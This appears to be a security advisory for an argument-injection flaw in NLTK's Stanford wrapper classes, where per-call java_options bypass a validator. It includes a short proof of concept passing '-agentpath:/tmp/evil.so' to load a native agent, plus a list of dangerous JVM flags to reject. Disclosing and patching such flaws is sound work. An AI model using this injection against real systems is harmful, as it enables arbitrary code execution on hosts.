critical · 9.8CVE-2026-79675Sep 1, 2026

CVE-2026-79675: NLTK JVM Argument Injection via Per-Call Options (Stanford Wrappers)

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

NLTK's Stanford NLP wrapper classes let attackers inject dangerous JVM flags directly into subprocess calls, bypassing the existing safety check and enabling arbitrary code execution on the host.

Packagenltk
Ecosystempip
Affected<= 3.10.2
Fixed in3.10.3
CVE-2026-79675: NLTK JVM Argument Injection via Per-Call Options (Stanford Wrappers)

The problem

The java() function in nltk/internals.py accepts an options keyword argument added by PR #3683. When options is provided, it is converted to a list and prepended to the JVM command with no validation. The existing _validate_java_options() guard is only called inside config_java(), the global configuration path.

All four Stanford wrapper classes (GenericStanfordParser, StanfordTagger, StanfordTokenizer, StanfordSegmenter) accept a java_options constructor parameter and route it through this unvalidated per-call path, completely bypassing the CVE-2026-12841 fix.

Proof of concept

A working proof-of-concept for CVE-2026-79675 in nltk, with the exact payload below.

python
from nltk.parse.stanford import StanfordParser

# Attacker controls java_options, e.g. via config file, env var, or API input.
# The flag reaches subprocess.Popen with no validation.
parser = StanfordParser(
    model_path="edu/stanford/nlp/models/lexparser/englishPCFG.ser.gz",
    java_options="-agentpath:/tmp/evil.so"
)
# Any subsequent call (parse, tag, tokenize, segment) spawns:
#   java -agentpath:/tmp/evil.so -cp ... edu.stanford.nlp.parser.lexparser.LexicalizedParser ...
# The native agent loads immediately on JVM startup, giving arbitrary code execution.

# Demonstrate the gap directly (no Java install needed):
from nltk.internals import _validate_java_options
import inspect, nltk.internals as _ni

_validate_java_options(["-agentpath:/tmp/evil.so"])  # raises ValueError -- guard EXISTS
source = inspect.getsource(_ni.java)
assert "_validate_java_options" not in source        # guard is NOT called inside java()
print("Confirmed: java() never calls _validate_java_options() -- bypass is real")

The root cause is a missing call to _validate_java_options() inside java() when the options kwarg is provided. The function builds java_options = list(options) and immediately prepends it to the subprocess command without any checks. The CVE-2026-12841 fix added the validator only to config_java(), not to java() itself, leaving the per-call path open.

The patch (commit 8fa9650b6009aacfdebbc33d2a08d32c0858ea6c) adds a single _validate_java_options(java_options) call in the options is not None branch of java(), closing the bypass for all four Stanford wrapper classes simultaneously. CWE-88 (Argument Injection) applies: user-controlled strings reach an OS-level command as separate arguments rather than being treated as data.

The fix

Upgrade to NLTK 3.10.3 (pip install --upgrade nltk). The patch commit 8fa9650b adds _validate_java_options() to the per-call branch of java() in nltk/internals.py. If immediate upgrade is not possible, audit all call sites that pass java_options to any Stanford wrapper class and treat that parameter as untrusted, rejecting strings containing -agentpath, -agentlib, -javaagent, -Xrunjdwp, or @.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research